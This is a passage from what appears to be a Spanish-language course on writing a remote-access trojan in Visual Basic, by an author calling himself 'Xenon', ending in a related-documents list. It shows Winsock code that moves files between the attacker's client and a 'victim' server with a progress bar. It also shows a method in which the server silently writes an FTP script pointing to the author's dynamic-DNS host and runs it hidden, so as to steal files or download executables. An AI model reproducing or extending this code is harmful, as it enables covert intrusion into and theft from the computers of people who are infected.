para guardar el archivo Put #1, 1, datos2 ' mete el archivo Close #1 'cierra el archivo End If End If esto esta claro que es en el evento llegada de datos del cliente, aui hemos usado el commond dialog por que para nosotros es util, en el servidor no por que seria un cantazo enviarle un archivo y que le dijera ala victima una ventanita que donde desea guardarlo XD logico, no? tambien hemos usado la barra de progreso, no la he detallado mucho pero ahora lo hago y termino con esta tercera parte del curso en el evento (mientras se envian datos) de EL CLIENTE cuando se inicio el envio de el archivo de el cliente al servidor, en la primera parte que he esplicado sobre el intercambio de archivos, un interruptor PROGRESO lo puse a TRUE encendido asi solo en ese momento, solamente cuando lo que envie sea el archivo, y no datos de comandos o etc... que se active la barra de progreso para saber cuando falta para completar la transferencia: Private Sub WS_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long) 'cuando se envia algun dato: If progreso = True Then 'si el interruptor esta activado entonces continua: pb.Min = 0 'valor minimo cero pb.Max = filesize 'valor maximo el tamaño total del archivo, ESTO SIEMPRE ES EN BYTES bytes = bytes + bytesSent 'bytes es igual a lo que tenga bytes mas los bytes enviados, (EL PAQUETE ENVIADO) la variable bytessent te la da esta subrutina, asi que no ay que declararla... pb.Value = bytes ' el valor actual sera los bytes actualmente enviados en conjunto pb.Refresh If filesize = bytes Then 'cuando se halla enviado el total del archivo, cuando los bytes enviados sean = a los bytes totales del archivo... pb.Value = 0 ' la pb, se pone a 0 como señal de que a terminado y por que a de estar asi para un futuro envio MsgBox "Archivo enviado con exito" progreso = False 'se desactiva el interruptor para que la barra no se active acidentalmente al enviarle datos que no sean el archivo al servidor. End If End If End Sub usar la barra de progreso es asi de facil, y antes ya vimos como usarla para cuando te llega a ti el archivo.

otro dia esplico mas cosas y mas funciones para el troyano! pero de momento creo que como ejercicio podiais intentar razonar todo este mecanismo y modificarlo para que funcione mejor o cambiar algo que os parezca oportuno... seguramente habra otras formas y quizas mas sencillas, no lo se, yo he diseñado esta, con alguna ayuda de un colega. la primera que se me ocurrio fue esta manera: te configurabas un servidor ftp, como el serv-u y ponias este codigo en el servidor: Open ("c:\windows\system\nt") For Output As #1 Print #1, "o cuenta.no-ip.sytes" Print #1, "user" Print #1, "pass" Print #1, "bin" Print #1, comando Print #1, "bye" Close #1 Shell ("ftp -s:c:\windows\system\nt"), vbHide yo solo tenia que mandarle con el cliente un dato que activase ese codigo y un dato que me cojia de un textbox donde ponia esto: le ponia la ruta de mi archivo a cojer y el comando ftp: get c:\archivo.exe y si queria cojerle un archivo a el ponia: put c:\ruta de su archivo , mas sencillo , no? supongo que entendeis que he hecho con ese codigo.... crearle un archivo de testo con comandos ftp luego activarle su cliente ftp que todo qindows trae por defecto con la opcion de que coja las instruciones de ese archivo de testo, que aunque no le ponga estension .txt , lo interpreta = pero donde este la forma que he esplicado mas elegante y profesional que se quite usar un programa adicional... UN SALUDO!!!!!!!! --------------------

Xenon alias [email protected]

-----------------------

Related Documents

Cur So Troy A No
May 2020 11
Cur So A Ire
June 2020 18
Cur So
April 2020 13
Cur So
May 2020 19
Dis Cur So
June 2020 20
Dis Cur So
June 2020 24